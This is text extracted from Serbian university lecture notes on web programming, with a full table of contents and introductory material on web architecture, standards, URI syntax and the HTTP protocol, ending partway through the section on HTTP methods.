programiranje za veb (skripta) - nikolaajzenhamer.rsnikolaajzenhamer.rs/pdf/pveb skripta.pdf ·...

Ajzenhamer NikolaBukurov AnjaStankovic Vojislav

Programiranje za veb (skripta)

16. decembar 2016.

Sadrzaj

1 Pojam i arhitektura veba 51.1 Pojam veba . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51.2 Arhitektura veba . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

1.2.1 Osnovni aspekti . . . . . . . . . . . . . . . . . . . . . . . . . 61.2.2 Osnovni pojmovi i tehnologije . . . . . . . . . . . . . . . . . 7

1.3 Standardizacija . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81.4 Gradivni elementi veba . . . . . . . . . . . . . . . . . . . . . . . . . 91.5 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

2 Komunikacioni protokoli 112.1 TCP/IP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112.2 HTTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

2.2.1 Ucesnici u komunikaciji . . . . . . . . . . . . . . . . . . . . . 122.2.2 Protokol bez stanja . . . . . . . . . . . . . . . . . . . . . . . 132.2.3 Struktura paketa . . . . . . . . . . . . . . . . . . . . . . . . 142.2.4 Struktura zahteva . . . . . . . . . . . . . . . . . . . . . . . . 142.2.5 Struktura odgovora . . . . . . . . . . . . . . . . . . . . . . . 142.2.6 HTTP metodi . . . . . . . . . . . . . . . . . . . . . . . . . . 152.2.7 Neki parametri zaglavlja . . . . . . . . . . . . . . . . . . . . 162.2.8 Statusni kodovi . . . . . . . . . . . . . . . . . . . . . . . . . 172.2.9 Kolacici . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 182.2.10 HTTPS - bezbedni HTTP . . . . . . . . . . . . . . . . . . . 21

2.3 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21

3 Veb 233.1 Veb server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23

3.1.1 Razresavanje adrese . . . . . . . . . . . . . . . . . . . . . . . 233.1.2 Obrada zahteva . . . . . . . . . . . . . . . . . . . . . . . . . 24

3.2 Veb pregledac . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 243.2.1 Slanje zahteva veb serverima . . . . . . . . . . . . . . . . . . 253.2.2 Prijem odgovora od veb servera . . . . . . . . . . . . . . . . 253.2.3 Prikazivanje sadrzaja . . . . . . . . . . . . . . . . . . . . . . 263.2.4 Trajni podaci na strani klijenta . . . . . . . . . . . . . . . . 26

3.3 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27

3

4 SADRZAJ

4 DOM - Document Object Model 294.1 Standardi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29

4.1.1 DOM Level 0 . . . . . . . . . . . . . . . . . . . . . . . . . . 294.1.2 DOM Level 1 (1998) . . . . . . . . . . . . . . . . . . . . . . 304.1.3 DOM Level 2 (2000) . . . . . . . . . . . . . . . . . . . . . . 304.1.4 DOM level 3 (2004) . . . . . . . . . . . . . . . . . . . . . . . 30

4.2 Osnova modela . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 314.2.1 Najvazniji cvorovi i njihovi potomci . . . . . . . . . . . . . . 314.2.2 Osnovni tipovi . . . . . . . . . . . . . . . . . . . . . . . . . 324.2.3 Interfejsi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32

4.3 Osnovni elementi interfejsa Node . . . . . . . . . . . . . . . . . . . 334.4 Vazni metodi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35

4.4.1 Citanje i parisranje XML dokumenata . . . . . . . . . . . . 364.5 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36

5 AJAX - Asynchronous JavaScript and XML 375.1 Slanje zahteva . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38

5.1.1 Dodatni parametri zahteva . . . . . . . . . . . . . . . . . . . 385.1.2 Dogadaji objekata zahteva . . . . . . . . . . . . . . . . . . . 39

5.2 Obrada odgovora . . . . . . . . . . . . . . . . . . . . . . . . . . . . 395.2.1 Parametri i metodi rezultata . . . . . . . . . . . . . . . . . . 39

5.3 Sinhrono ili asinhrono . . . . . . . . . . . . . . . . . . . . . . . . . 405.4 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42

6 Razvoj veb aplikacija 436.1 Problemi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43

6.1.1 Karakteristike problema iz ugla aplikacije . . . . . . . . . . . 436.1.2 Karakteristike problema iz ugla sesije . . . . . . . . . . . . . 446.1.3 Karakteristike problema iz ugla stranice . . . . . . . . . . . 446.1.4 Karakteristike problema iz ugla ucesnika u razvoju . . . . . 44

6.2 Nivoi slozenosti veb sadrzaja . . . . . . . . . . . . . . . . . . . . . . 456.3 Od zahteva do prikaza . . . . . . . . . . . . . . . . . . . . . . . . . 456.4 Nivoi konteksta veb aplikacije . . . . . . . . . . . . . . . . . . . . . 46

6.4.1 Deljenje podataka . . . . . . . . . . . . . . . . . . . . . . . . 466.5 Tehnologije razvoja serverske strane veb aplikacija . . . . . . . . . . 47

6.5.1 Programi za pravljenje dinamickog sadrzaja . . . . . . . . . 476.5.2 Pristupi pripremanju sadrzaja . . . . . . . . . . . . . . . . . 49

6.6 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52

7 Arhitektura veb aplikacija 557.1 Arhitektura klijent-server . . . . . . . . . . . . . . . . . . . . . . . . 55

7.1.1 Elementi arhitekture klijent-server . . . . . . . . . . . . . . . 557.1.2 Vrste arhitekture klijent-server . . . . . . . . . . . . . . . . . 567.1.3 Karakteristike arhitekture klijent-server . . . . . . . . . . . . 57

SADRZAJ 5

7.1.4 Slojevi aplikacije . . . . . . . . . . . . . . . . . . . . . . . . 577.2 Arhitektura prenosenja objekata . . . . . . . . . . . . . . . . . . . . 57

7.2.1 Elementi arhitekture prenosenja objekata . . . . . . . . . . . 587.2.2 Odnos sa arhitekturom klijent-server . . . . . . . . . . . . . 59

7.3 Arhitektura bogatih/teskih klijenata . . . . . . . . . . . . . . . . . 597.3.1 Elementi arhitekture bogatih/teskih klijenata . . . . . . . . 597.3.2 Odnos sa arhitekturom klijent-server . . . . . . . . . . . . . 597.3.3 Odnos sa arhitekturom prenosenja objekata . . . . . . . . . 60

7.4 Arhitektura jedne stranice . . . . . . . . . . . . . . . . . . . . . . . 617.5 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62

8 Razdvajanje odgovornosti 638.1 Princip razdvajanja interesovanja . . . . . . . . . . . . . . . . . . . 638.2 Princip jedinstvene odgovornosti . . . . . . . . . . . . . . . . . . . . 638.3 Razdvajanje sadrzaja od prezentacije . . . . . . . . . . . . . . . . . 64

8.3.1 Model-pogled-kontroler . . . . . . . . . . . . . . . . . . . . . 648.3.2 Prezentacija-apstrakcije-kontroler (PAK) . . . . . . . . . . . 678.3.3 Pristupi zasnovani na XML-u . . . . . . . . . . . . . . . . . 698.3.4 Razdvajanje akcija i prikaza . . . . . . . . . . . . . . . . . . 70

8.4 Veb 2.0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 708.4.1 Preduslovi za Veb 2.0 . . . . . . . . . . . . . . . . . . . . . . 71

8.5 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71

9 Servisi 739.1 Arhitekture orijentisane prema servisima - SOA . . . . . . . . . . . 73

9.1.1 Uopstavanje komunikacije . . . . . . . . . . . . . . . . . . . 749.1.2 SOA i distribuirani objekti . . . . . . . . . . . . . . . . . . . 749.1.3 Istorijat arhitektura . . . . . . . . . . . . . . . . . . . . . . . 749.1.4 SOA iz razlicitih uglova . . . . . . . . . . . . . . . . . . . . 759.1.5 Servisi u kontekstu SOA . . . . . . . . . . . . . . . . . . . . 75

9.2 REST servisi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 779.2.1 Komponente arhitekture . . . . . . . . . . . . . . . . . . . . 789.2.2 ROA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 789.2.3 Slicnosti i razlike sa drugim servisima . . . . . . . . . . . . . 789.2.4 Neka dobra pravila . . . . . . . . . . . . . . . . . . . . . . . 799.2.5 Ceste greske . . . . . . . . . . . . . . . . . . . . . . . . . . . 80

9.3 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80

10 HTML 5 8310.1 Sintaksa i parsiranje . . . . . . . . . . . . . . . . . . . . . . . . . . 83

10.1.1 Semanticki strukturni elementi . . . . . . . . . . . . . . . . 8310.1.2 Sadrzaji koji se mogu menjati . . . . . . . . . . . . . . . . . 84

10.2 Query Selector . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8410.3 Mikropodaci . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85

6 SADRZAJ

10.4 Deljenje resursa izmedu lokacija (CORS) . . . . . . . . . . . . . . . 8610.5 Web Workers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86

10.5.1 Web Storage . . . . . . . . . . . . . . . . . . . . . . . . . . . 8710.6 Scalable Vector Graphics (SVG) . . . . . . . . . . . . . . . . . . . 8810.7 Formulari . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8810.8 Prevlacenje sadrzaja . . . . . . . . . . . . . . . . . . . . . . . . . . 8910.9 Canvas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9010.10Animacije . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9010.11Video zapisi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9010.12Zaobljeni okviri . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9110.13Data URIs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9110.14Geografski polozaj . . . . . . . . . . . . . . . . . . . . . . . . . . . 9210.15...i jos mnogo toga . . . . . . . . . . . . . . . . . . . . . . . . . . . 9210.16Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92

11 Skalabilnost 9311.1 Nivo skalabilnosti . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9311.2 Merenje skalabilnosti . . . . . . . . . . . . . . . . . . . . . . . . . . 9411.3 Kategorije skalabilnosti . . . . . . . . . . . . . . . . . . . . . . . . . 95

11.3.1 Amdalov zakon . . . . . . . . . . . . . . . . . . . . . . . . . 9511.3.2 Super-serijski model . . . . . . . . . . . . . . . . . . . . . . 9611.3.3 Gustavsonov zakon . . . . . . . . . . . . . . . . . . . . . . . 97

11.4 Vrste skaliranja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9711.4.1 Skaliranje servera . . . . . . . . . . . . . . . . . . . . . . . . 9811.4.2 Skaliranje servisa . . . . . . . . . . . . . . . . . . . . . . . . 100

11.5 Skaliranje relacionih BP . . . . . . . . . . . . . . . . . . . . . . . . 10111.5.1 RBP i skaliranje citanja . . . . . . . . . . . . . . . . . . . . 10111.5.2 Kesiranje . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102

11.6 Skaliranje statickih sadrzaja . . . . . . . . . . . . . . . . . . . . . . 10211.6.1 Isporucivanje statickih sadrzaja . . . . . . . . . . . . . . . . 102

11.7 Skaliranje sistema datoteka . . . . . . . . . . . . . . . . . . . . . . . 10311.8 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104

12 Bezbednost veb aplikacija 10512.1 Osnovni predmeti ugrozavanja . . . . . . . . . . . . . . . . . . . . . 105

12.1.1 Drugi predmeti ugrozavanja . . . . . . . . . . . . . . . . . . 10512.2 Ciljevi bezbednosnih mera . . . . . . . . . . . . . . . . . . . . . . . 10612.3 Vrste napada . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107

12.3.1 Prekoracenje bafera (Buffer overflow) . . . . . . . . . . . . . 10712.3.2 Umetanje skriptova (Cross-Site Scripting) . . . . . . . . . . 10812.3.3 Prevara unakrsnim zahtevima (Cross-Site Request Forgery), 10812.3.4 Nasilno pregledanje (Forcefull Browsing) . . . . . . . . . . . 10912.3.5 Podmetanje parametara (Parameter Tampering) . . . . . . . 10912.3.6 Trovanje kolacica (Cookie Poisoning) . . . . . . . . . . . . . 110

SADRZAJ 7

12.3.7 Zloupotreba skrivenih polja (Hidden FieldManipulation) . . . . . . . . . . . . . . . . . . . . . . . . . . 110

12.3.8 Umetanje SQL upita (SQL Injection) . . . . . . . . . . . . . 11012.3.9 Onemogucavanje usluge (Denial of Service) . . . . . . . . . . 11112.3.10Nabrajanje . . . . . . . . . . . . . . . . . . . . . . . . . . . 11212.3.11Specificnosti u slucaju AJAX-a . . . . . . . . . . . . . . . . 112

12.4 10 opstih bezbednosnih pravila . . . . . . . . . . . . . . . . . . . . 11212.4.1 Osnovna pravila . . . . . . . . . . . . . . . . . . . . . . . . . 113

12.5 Prevare na strani korisnika . . . . . . . . . . . . . . . . . . . . . . . 11412.5.1 Podmetanje laznog pregledaca . . . . . . . . . . . . . . . . . 114

12.6 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 114

13 Korisnicki interfejs 11713.1 Vizualni kornisnicki interfejs . . . . . . . . . . . . . . . . . . . . . . 117

13.1.1 Prednosti vizualnog korisnickog interfejsa . . . . . . . . . . . 11913.1.2 Slabosti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11913.1.3 Prinicpi oblikovanja G.K.I. . . . . . . . . . . . . . . . . . . . 12013.1.4 Uobicajeni problemi upotrebljivosti . . . . . . . . . . . . . . 12113.1.5 Elementi dobrog dizajna . . . . . . . . . . . . . . . . . . . . 12213.1.6 Testiranje interfejsa . . . . . . . . . . . . . . . . . . . . . . . 123

13.2 Dizajn korisnickog interfejsa . . . . . . . . . . . . . . . . . . . . . . 12413.2.1 Principi grafickog dizajna . . . . . . . . . . . . . . . . . . . 12513.2.2 Neka pravila grafickog dizajna . . . . . . . . . . . . . . . . . 126

13.3 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 127

Glava 1

Pojam i arhitektura veba

1.1 Pojam veba

Veb je mreza servera koja sadrzi programe i datoteke. Mnoge od tihdatoteka sadrze hipertekstualne veze do drugih dokumenata dostupnihkroz tu mrezu.” (IBM Dictionary of Computing, 1999.)

Vecina definicija lici na ovu, mada je ona suvise uopstena, odnosno, siroka. Mnogemreze koje nisu veb” mogu da se uklope u ovu definiciju. Dakle, nedostaje kon-kretizacija jer Veb” je tacno jedan i sve drugo nije veb. Veoma je vazno uvek imatina umu da veb nije isto sto i internet. Internet ima ulogu gradivnog materijala isredstva za izgradnju veba.

Veb” i Internet” su izvorno vlastite imenice, ali su u tehnoloskom kontekstu po-stale zajednicke i pisu se malim slovom, osim kada se eksplicitno govori o Vebu” iInternetu” kao jedinstvenim mrezama.

1.2 Arhitektura veba

Osnovni elementi veba i svi osnovni pojmovi neraskidivo su povezani sa arhi-tekturom. Pojmovima se ne mozemo baviti bez bavljenja arhitekturom (server,klijent, pregledac, sesija, servis, zahtev, stranica, dokument, . . . ).

Glavni cilj veba je da bude deljeni informacioni prostor kroz koji cekomunicirati ljudi i masine.” (Berners-Lee, 1996.)

Arhitektura veba je oblikovana tako da zadovolji postavljene zahteve. Da bismorazumeli arhitekturu, moramo razumeti zahteve. Ono sto karakterise veb jesuzahtevi koji su prepoznati na vreme. Postoje dva takva zahteva:

9

10 GLAVA 1. POJAM I ARHITEKTURA VEBA

• Potrebno je da se omoguci ljudima da:

– cuvaju svoje informacije (i trajno i privremeno) i da ih strukturirajutako da ih mogu ponovo koristiti i oni i drugi ljudi, odnosno, da semogu referisati

– koriste, referisu i strukturiraju tude informacije bez potrebe da cuvajui odrzavaju njihove lokalne kopije, i

– koriste sistem sirom sveta sa razlicitih univerziteta, iz istrazivackih sta-nica, i sa bilo kog racunara povezanog na internet.

• Potrebno je da omoguci masinama da:

– koriste informacije,

– razmenjuju informacije, i

– koriste razlicite vrste resursa i formata fajlova bez obzira na hardverskui softversku heterogenost.

1.2.1 Osnovni aspekti

Osnovni aspekti veba su:

• Nizak ulazni prag. Da bi veb zaziveo kao sveobuhvatan svetski projekat,ucesce je moralo da bude na dobrovoljnoj i nefinansiranoj osnovi. Zato jepocetak bavljenja vebom morao da bude lak za ucenje, uz mali utrosak vre-mena, sa jednostavnim konfigurisanjem alata. To je moralo da vazi za svevrste korisnika – citaoce, autora sadrzaja i razvijaoce aplikacija.

• Prosirivost. Sistem ciji je cilj da postane globalni, mora da bude prosiriv.Jednostavnost proizvodi ogranicenja – ako se sistem moze prosiriti, ogranicenjase mogu prevazici. Da bi sistem opstao, mora da podrzi sve buduce primene –mogucnosti prosirivanja moraju biti takve da se prosirivanjem mogu podrzatii primene koje se ne mogu sagledati u pocetnom periodu razvoja.

• Distribuirani hipermedij. Hipermedij je odreden kako predstavljenim sadrzajem,tako i aplikativnom kontrolnom logikom. Hipermedij (hipertekst) je izabrankao osnova veba pre svega zbog konceptualne jednostavnosti i velike prila-godljivosti. Distribuirani hipermedij dopusta da se predstavljeni sadrzaji ikontrolna logika nalaze na udaljenim lokacijama. Velicina sadrzaja mozeda uspori komunikaciju, te zato protokoli za prenos moraju biti prilagodeni,jednostavni, i uz minimalan broj poruka.

• Razmere Interneta. Veb je planiran da ima razmere Interneta, odnosno, daima nepredvidivu (anarhicnu) skalabilnost (tesko je predvideti opterecenjesistema, pa arhitektura platforme koja isporucuje sadrzaje mora biti lako

1.2. ARHITEKTURA VEBA 11

prilagodljiva naglom i iznenadnom porastu potraznje) i nezavisno postavlja-nje delova sistema (pozeljno je da se delovi sistema mogu nezavisno pustatiu rad ili zamenjivati novijim verzijama).

• Evolucija zahteva. Sa sazrevanjem veba, mogu se ocekivati nove mogucnostiprimene, koje nije moguce ostvariti prostim prosirivanjem. Arhitektura morabiti dovoljno fleksibilna da dopusti ne samo prosirivanje nego i menjanje, takoda se funkcionalnost postojecih sistema ne dovede u pitanje.

1.2.2 Osnovni pojmovi i tehnologije

Osnovne pojmove mozemo da grupisemo u: pojmove u vezi sa informacijamakoje se razmenjuju, pojmove u vezi sa hipermedijima (hipertekstom), i pojmove uvezi sa arhitekturom.

Osnovni pojmovi u vezi sa informacijama koje se razmenjuju su: resurs (ap-straktni cilj neke hipertekstualne reference), identifikator resursa (URI, ranijeURL), reprezentacija resursa (na primer, dokument – HTML, slika – JPEG, PNG,i dr.), metapodaci o reprezentaciji (na primer, tip medija, velicina datoteke, dimen-zije slike, i dr.), metapodaci o resursu (na primer, izvor, vreme poslednje izmene,alternativne reprezentacije, razne druge informacije), i kontrolni podaci (na pri-mer, trajnost, da li se sme kesirati, i dr.).

Osnovni pojmovi u vezi sa hipermedijima (hipertekstom) su: hipermedij (me-dij, tj. reprezentacija nekog resursa, ciji neki delovi predstavljaju veze sa drugimresursima; na vebu je najcesce hipertekst, pri cemu veze u hipertekstu predsta-vljaju delove teksta koji su povezani sa drugim resursima), i veza (izdvojen deohipermedija koji je povezan sa drugim resursom; svaka veza ima barem: telo veze,tj. deo hipermedija koji pripada vezi, i identifikator resursa, tj. identifikator kojijednoznacno identifikuje povezani resurs).

Osnovni pojmovi u vezi sa arhitekturom su: server (sistem, bilo hardver ilisoftver, koji isporucuje reprezentacije resursa na vebu), klijent (sistem, bilo har-dver ili softver, koji pristupa resursima i preuzima njihove reprezentacije), korisnik(covek koji koristi resurse na vebu), i pregledac (softver koji se izvrsava na klijentui omogucava korisniku da pristupa resursima i pregleda njihove reprezentacije).Komponente sistema su server i klijent. Na vebu je jasna razlika – klijent je onajkoji koristi informacije, a server je onaj koji ih ispostavlja.

Veb pociva na vecem broju tehnologija. To su:

• protokoli za prenos podataka – HTTP (TCPIP, HTTPS, itd.),

• formati za prenos podataka – HTML (HTML4, XHTML, HTML5, XML),


• formati za opisivanje vizuelne reprezentacije – CSS (DOM), i

• tehnologije za programiranje korisnickog interfejsa – JavaScript (DOM, AJAX).

1.3 Standardizacija

Veb se odlikuje visokim stepenom standardizacije, odnosno, pociva na velikombroju standarda koji se uglavnom dobro postuju. Standardizacijom tehnologija nakojima pociva veb bavi se World Wide Web Consorcium W3C 1.

Standardi W3C se odnose na:

• Dizajn i razvoj aplikacija, u koje spadaju: jezici za opisivanje sadrzaja iizgleda dokumenata (HTML, CSS), JavaScript Web API, graficki formati,audio i video formati, standardi za pristupacnost, internacionalizacija, mo-bilni veb, privatnost, matematicke formule, i dr.

• Arhitekturu veba, u koje spadaju: principi, identifikatori (URI), protokoli(HTTP, XML, SOAP, itd.), i metaformati (XML, RDF, OWL, itd.).

• Semanticki veb (odnosno, svaki sadrzaj koji je prikazan je semanticki opisan),u koje spadaju: povezivanje podataka (RDF, GRDDL, itd.), organizacijarecnika, ontologija i znanja, upitni jezici (SPAROL), zakljucavanje i pravilazakljucavanja, i primena.

• XML tehnologije, u koje spadaju: osnovne tehnologije, sheme (XML Schema,SML, itd.), bezbednost, transformacije (XSLT, XPath, itd.), upitni jezici(XQuery), i komponente.

• Servise na vebu, u koje spadaju: protokoli (HTTP, SOAP, WS, itd.), opisi-vanje servisa (WSDL, SML, itd.), i bezbednost (enkripcija, potpisi, autenti-fikacija, itd.).

• Uredaje na vebu, u koje spadaju: mobilni uredaji, glasovno pregledanje (Voi-ceXML, Speech Interface Framework, itd.), nezavisnost uredaja i prilagodavanjesadrzaja, razlicitost ulaznih uredaja (tastature, dodir, pokreti, glas, itd.), iveb i televizija.

• Pregledace i alate, u koje spadaju: pregledaci veba i uredaju za pustanjezapisa, i alati za pripremu i odrzavanje sadrzaja na vebu.

1http://www.w3.org/.

http://www.w3.org/

1.4. GRADIVNI ELEMENTI VEBA 13

1.4 Gradivni elementi veba

Gradivni elementi veba su: jezik za zapisivanje hiperteksta (HTML, CSS), no-tacija za identifikovanje resursa, i protokoli za prenos poruka preko mreze (HTTP,HTTPS, TCP/IP).

Notacija za identifikovanje resursa je oblika

scheme://host[:port#]/path/.../[;url-params][?query-string][#anchor]

pri cemu je:

• scheme oznaka protokola. Na vebu je http” ili https”,

• host ime servera ili njegov IP broj,

• port# opcioni broj komunikacionog TCP/IP porta,

• path logicka putanja do resursa (nalik na apstraktan sistem fajlova),

• url-params opcioni parametri (vecina servera danas to ne podrzava),

• query-string opcioni parametri koji se koriste za upravljanje dinamickimsadrzajima, i

• anchor unutrasnja referenca, unutar navedenog resursa/dokumenta.

1.5 Pitanja

1.1 Sta je Veb?

1.2 Koji su osnovni ciljevi Veba?

1.3 Koje zahteve je Veb morao da ispuni?

1.4 Koji aspekti su presudno uticali na arhitekturu Veba?

1.5 Objasniti nizak ulazni prag” kao aspekt pri projektovanju arhitekture Veba.

1.6 Objasniti prosirivost” kao aspekt pri projektovanju arhitekture Veba.

1.7 Objasniti distribuirani hipermedij” kao aspekt pri projektovanju arhitektureVeba.

1.8 Objasniti razmere Interneta” kao aspekt pri projektovanju arhitekture Veba.

1.9 Objasniti evoluciju zahteva” kao aspekt pri projektovanju arhitekture Veba.

1.10 Koji su osnovni pojmovi Veba, u odnosu na informacije koje se razmenjuju?


1.11 Koji su osnovni pojmovi Veba, u odnosu na oblik predstavljanja informacija?

1.12 Koji su osnovni pojmovi Veba, u odnosu na arhitekturu Veba?

1.13 Na kojim tehnologijama pociva Veb?

1.14 Ko i kako standardizuje Veb?

1.15 Koji standardi se odnose na arhitekturu Veba?

1.16 Koji standardi se odnose na sadrzaje Veba?

1.17 Sta su gradivni elementi Veba?

1.18 Objasniti detaljno nacin identifikovanja resursa na Vebu.

Glava 2

Komunikacioni protokoli

2.1 TCP/IP

Podrazumeva se arhitektura klijent-server. Server pruza usluge - ceka da pri-stigne novi zahtev i obraduje primljeni zahtev. Klijent koristi usloge - salje zahteveserveru.

1. Mrezni sloj - odgovoran za najnizi nivo prenosa, fizicka mreza

2. Internet sloj

• obezbeduje mehanizme komunikacije medu udaljenim sistemima

• rutiranje poruka, pouzdanost, zaglavlja

• to je nivo protokola IP (internet protokola)

3. Transportni sloj

• obezbeduje prenos poruka izmedu aplikacija koje rade na udaljenimsistemima

• to je nivo protokola TCP i UDP

4. Aplikativni sloj

• najvisi sloj

• odreduje znacenje, tumacenje i razumevanje poruka

• ovde je posebno vazan protokol HTTP

15

16 GLAVA 2. KOMUNIKACIONI PROTOKOLI

OSI nivo TCP/IP nivo Jedinica prenosa Protokol

7 - Aplikativni

4 - Aplikativni

Podaci HTTP, HTTPS, FTP,IMAP, SMTP, . . .

6 - Prezentacioni Podaci

5 - Nivo sesije Podaci

4 - Transportni 3 - Transportni Segmenti TCP, UDP, SSL, . . .

3 - Mrezni 2 - Internet Paketi IP, ICMP (Ping), . . .

2 - Nivo podataka1 - Mrezni

Okviri

1 - Fizicki Bitovi

Tabela 2.1: TCP/IP i OSI model

2.2 HTTP

Predstavlja aplikativni sloj TCP/IP-a (port 80). Takode, HTTP protokol jeosnova veba. Veoma je jednostavan. S jedne strane to je slabost - nema stanja. Sdruge strane, to je snaga - lako se implementira, brzo i siroko prihvatanje.Paradigma zahtev/odgovor - Klijent salje zahtev, server ga prima, obraduje isalje odgovor.Jednostavna struktura paketa - I zahtev i odgovor imaju tekstualno zaglavlje,odvojeno praznim redom od tela paketa.Protokol bez stanja - Svaki par zahtev/odgovor predstavlja nezavisnu transak-ciju.

2.2.1 Ucesnici u komunikaciji

• Server - program koji prima i obraduje zahteve

• Pregledac - program koji salje zahteve i prikazuje primljene odgovore

• Proksi

– program koji se ponasa kao server i kao klijent

– salje zahtev u ime drugih klijenata

– prosleduje im odgovore u ime drugih servera

2.2. HTTP 17

Slika 2.1: Paradigma zahtev/odgovor.

2.2.2 Protokol bez stanja

Kada protokol ima stanje sekvenca parova zahtev/odgovor moze da predstavljaslozenu transakciju (sesija). Neki od protokola koji imaju stanja i sesije su: FTP,POP, SMTP.

Kada protokol nema stanje svi parovi zahtev/odgovor su medusobno razdvojeni.Sesije su atomicne - sastoje se od samo po jednog para zahtev/odgovor.

Nepostojanje stanja je jedna od kljucnih osobina HTTP-a. Cini ga jednostavnimza implementaciju, doprinosi visokoj efikasnosti, ali zahvaljujuci tome ne postojielementarni nacin da se vise zahteva predstavi kao deo vece celine. HTTP 1,1 jeuveo produzene veze, koje se ne raskidaju posle jednog zahteva, vec se visestrukokoriste. Osnovna namena je podizanje efikasnosti i nije predvideno za implemen-tiranje sesija.

Za mnoge nacine komunikacije, neophodno je da postoji neki oblik stanja ko-munikacije (sesije). Stanje komunikacije na vebu se prati na vise razlicitih nacina.Problemu su u odredenoj suprotnosti sa osnovama protokola, bezbednosti i pri-vatnosti.


2.2.3 Struktura paketa

Zaglavlje paketa se sastoji od jednog ili vise redova teksta:

• prvi red je obavezan i sadrzi identifikaciju zahtevanog resursa ili izvestaj oisporucenom paketu (primer: GET / smalkov/index.html HTTP/1.1)

• ostali redovi su opcioni i sadrze razlicite parametre (primer: Host: www.matf.bg.ac.rs)

Zaglavlje se od tela paketa razdvaja praznim redom. Telo paketa moze da budeproizvoljan binarni sadrzaj. Telo moze da bude prazno, a ako nije prazno, zaglavljemora da sadrzi podatke o duzini (u bajtovima) i formatu zapisa, npr:

Content-Type: text/htmlContent-Length: 7735

Format tela se navodi kao MIME tip.

2.2.4 Struktura zahteva

Zaglavlje zahteva pocinje identifikacijom resursa i verzije protokola, oblika:

<METHOD> /<path-to-resource> HTTP/<version-number>}

Primer: GET / smalkov/index.html HTTP/1.1

Ostali redovi su opcioni. HTTP 1.1 zahteva da se obavezno navodi identifika-cija servera. Primer: Host: www.matf.bg.ac.rs

Identifikacija resursa ima oblik:

<METHOD> /<path-to-resource> HTTP/<version-number>

• METHOD je nazov metoda tj. operacije. Moze biti: GET, POST, HEAD,PUT, DELETE, TRACE i OPTIONS. Po HTTP 1.1 server je obavezanda implementira GET i HEAD. Vecina savremenih servera implementira iPOST, PUT i DELETE.

• path-to-resource je apstraktna logicka putanja do resursa

• version-number je verzija protokola, uobicajeno 1.1

2.2.5 Struktura odgovora

Zaglavlje odgovora pocinje izvestajem o isporucenom odgovoru, oblika:

HTTP/<version-number> <status-code> <message>

2.2. HTTP 19

Primer: HTTP/1.1 200 OKKodovi statusa imaju standardizovana znacenja.

Ostali redovi su opcioni. Obicno se navode podaci o telu (obavezno ako je ne-prazno). Primer:

Content-Type: text/htmlContent-Length: 17345

2.2.6 HTTP metodi

GETNajjednostavniji metod, sluzi za citanje sadrzaja. Zahtev metoda GET nematelo, a eventualni parametri su zapisani u okviru putanje.Primer: GET /trazenje?upit=fudbal HTTP/1.1

POSTNapredniji metod, ima dvojaku funkciju - podnosenje (novog) sadrzaja (pre-nosti se kao telo zahteva) i citanje sadrzaja (slicno kao u slucaju metodaGET). Parametri se mogu prenositi i u okviru URI-ja i u okviru tela. Pri-mer:POST /trazenje?kat=sport HTTP/1.1Host: www.myserver.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0)Content-Type: application/x-www-form-urlencodedContent-Length: 11upit=fudbal

HEADIma slicnu formu kao GET. Ne isporucuje odgovor u telu, vec samo zagla-vlje. Moze da se upotrebljava za proveravanje da li resurs postoji i kada jeposlednji put izmenjen.

PUTSadrzaj (telo) zahteva se trajno zapisuje. U osnovi je namenjen za azuriranjesadrzaja. Metod nije obavezno podrzan. Format sadrzaja i nacin zapisivanjanisu odredeni standardom HTTP-a, obicno se odreduju na osnovu URI-ja(putanja, upit) i/ili dodatnih parametara zaglavlja. Ako nije podrzan metodPUT, i azuriranja sadrzaja se obicno radi pomocu metoda POST.

